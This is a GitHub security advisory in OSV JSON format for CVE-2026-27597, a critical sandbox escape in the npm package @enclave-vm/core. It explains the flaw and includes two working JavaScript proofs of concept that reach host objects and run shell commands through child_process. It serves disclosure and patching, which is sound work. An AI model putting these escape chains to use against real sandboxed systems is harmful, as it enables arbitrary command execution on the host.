CVE-2026-27597: @enclave vm/core @enclave-vm/core Is Vulnerable To Sandbox Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f229-3862-4942",
  "modified" : "2026-07-06T15:26:36Z",
  "published" : "2026-02-25T17:26:23Z",
  "aliases" : [ "CVE-2026-27597" ],
  "summary" : "@enclave-vm/core is vulnerable to Sandbox Escape",
  "details" : "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () => {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) => {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@enclave-vm/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.10.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/enclave"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T17:26:23Z",
    "nvd_published_at" : "2026-02-25T04:16:03Z"
  }
}